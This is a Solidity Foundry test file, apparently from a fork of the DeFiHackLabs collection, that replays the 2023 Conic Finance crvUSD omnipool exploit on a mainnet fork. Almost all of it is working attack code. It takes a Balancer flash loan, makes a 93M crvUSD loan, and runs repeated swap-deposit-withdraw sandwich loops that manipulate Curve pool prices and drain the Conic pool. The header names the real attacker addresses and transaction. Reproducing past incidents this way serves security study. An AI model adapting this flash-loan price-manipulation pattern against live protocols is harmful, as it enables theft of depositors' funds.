forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Conic02_exp.sol
131 lines (110 loc) · 6.4 KB
/
Conic02_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~934K USD$
// Attacker : https://etherscan.io/address/0xb6369f59fc24117b16742c9dfe064894d03b3b80
// Attack Contract : https://etherscan.io/address/0x486cb3f61771ed5483691dd65f4186da9e37c68e
// Vulnerable Contract : https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f
// Attack Tx : https://etherscan.io/tx/0x37acd17a80a5f95728459bfea85cb2e1f64b4c75cf4a4c8dcb61964e26860882
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f#code
// @Analysis
// Post-mortem : https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d
// Twitter Guy : https://twitter.com/spreekaway/status/1682467603518726144
// Hacking God : https://www.google.com/
interface IConicPool {
function deposit(uint256 underlyingAmount, uint256 minLpReceived, bool stake) external returns (uint256);
function withdraw(uint256 conicLpAmount, uint256 minUnderlyingReceived) external returns (uint256);
}
interface IcrvUSDController {
function create_loan(uint256 collateral, uint256 debt, uint256 N) external payable;
function repay(uint256 _d_debt, address _for, int256 max_active_band, bool use_eth) external;
}
contract ContractTest is Test {
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);
IERC20 cncCRVUSD = IERC20(0xB569bD86ba2429fd2D8D288b40f17EBe1d0f478f);
IConicPool ConicPool = IConicPool(0x369cBC5C6f139B1132D3B91B87241B37Fc5B971f);
IcrvUSDController crvUSDController = IcrvUSDController(0xA920De414eA4Ab66b97dA1bFE9e6EcA7d4219635);
ICurvePool crvUSD_USDT_Pool = ICurvePool(0x390f3595bCa2Df7d23783dFd126427CCeb997BF4);
ICurvePool crvUSD_USDC_Pool = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
function setUp() public {
vm.createSelectFork("mainnet", 17_743_470);
vm.label(address(USDT), "USDT");
vm.label(address(USDC), "USDC");
vm.label(address(crvUSD), "crvUSD");
vm.label(address(cncCRVUSD), "cncCRVUSD");
vm.label(address(ConicPool), "ConicPool");
vm.label(address(crvUSDController), "crvUSDController");
vm.label(address(crvUSD_USDT_Pool), "crvUSD_USDT_Pool");
vm.label(address(crvUSD_USDC_Pool), "crvUSD_USDC_Pool");
vm.label(address(Balancer), "Balancer");
}
function testExploit() external {
USDC.approve(address(crvUSD_USDC_Pool), type(uint256).max);
address(USDT).call(
abi.encodeWithSignature("approve(address,uint256)", address(crvUSD_USDT_Pool), type(uint256).max)
);
WETH.approve(address(crvUSDController), type(uint256).max);
crvUSD.approve(address(crvUSDController), type(uint256).max);
crvUSD.approve(address(crvUSD_USDC_Pool), type(uint256).max);
crvUSD.approve(address(crvUSD_USDT_Pool), type(uint256).max);
crvUSD.approve(address(ConicPool), type(uint256).max);
address[] memory tokens = new address[](3);
tokens[0] = address(USDC);
tokens[1] = address(WETH);
tokens[2] = address(USDT);
uint256[] memory amounts = new uint256[](3);
amounts[0] = 12_000_000 * 1e6;
amounts[1] = 80_000 ether;
amounts[2] = 9_000_000 * 1e6;
bytes memory userData = "";
Balancer.flashLoan(address(this), tokens, amounts, userData);
emit log_named_decimal_uint(
"Attacker crvUSD balance after exploit", crvUSD.balanceOf(address(this)), crvUSD.decimals()
);
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
crvUSDController.create_loan(80_000 ether, 93_000_000 ether, 10); // deposit WETH, borrow crvUSD
crvUSDToUSDCAndUSDT(19_000_000 ether, 27_000_000 ether); // swap crvUSD to USDT and USDC, crvUSD price reduction
ConicPool.deposit(crvUSD.balanceOf(address(this)), 0, false); // deposit crvUSD to ConicPool, add crvUSD to crvUSD_USDT_Pool and crvUSD_USDC_Pool, crvUSD prices reduced further
USDCAndUSDTTocrvUSD(USDC.balanceOf(address(this)), USDT.balanceOf(address(this))); // swap USDC and USDT to crvUSD, crvUSD prices increased, earn more crvUSD
ConicPool.withdraw(cncCRVUSD.balanceOf(address(this)), 0); // withdraw cncCRVUSD from ConicPool, remove crvUSD from crvUSD_USDT_Pool and crvUSD_USDC_Pool, crvUSD prices increased
sandWich();
sandWich();
sandWich();
crvUSD_USDT_Pool.exchange(1, 0, 9_000_000 ether, 0); // swap crvUSD to USDT
crvUSD_USDC_Pool.exchange(1, 0, 12_000_000 ether, 0); // swap crvUSD to USDC
USDC.transfer(address(Balancer), amounts[0] + feeAmounts[0]);
address(USDT).call(
abi.encodeWithSignature("transfer(address,uint256)", address(Balancer), amounts[2] + feeAmounts[2])
);
crvUSD_USDT_Pool.exchange(0, 1, USDT.balanceOf(address(this)), 0); // swap USDT to crvUSD
crvUSD_USDC_Pool.exchange(0, 1, USDC.balanceOf(address(this)), 0); // swap USDC to crvUSD
crvUSDController.repay(93_000_000 ether, address(this), int256(2 ** 255 - 1), false);
WETH.transfer(address(Balancer), amounts[1]);
}
function crvUSDToUSDCAndUSDT(uint256 swapAmount1, uint256 swapAmount2) internal {
crvUSD_USDT_Pool.exchange(1, 0, swapAmount1, 0); // swap crvUSD to USDT
crvUSD_USDC_Pool.exchange(1, 0, swapAmount2, 0); // swap crvUSD to USDC
}
function USDCAndUSDTTocrvUSD(uint256 swapAmount1, uint256 swapAmount2) internal {
crvUSD_USDC_Pool.exchange(0, 1, swapAmount1, 0); // swap USDT to crvUSD
crvUSD_USDT_Pool.exchange(0, 1, swapAmount2, 0); // swap USDC to crvUSD
}
function sandWich() internal {
crvUSDToUSDCAndUSDT(28_000_000 ether, 39_000_000 ether);
ConicPool.deposit(crvUSD.balanceOf(address(this)), 0, false);
USDCAndUSDTTocrvUSD(USDC.balanceOf(address(this)), USDT.balanceOf(address(this)));
ConicPool.withdraw(cncCRVUSD.balanceOf(address(this)), 0);
}
}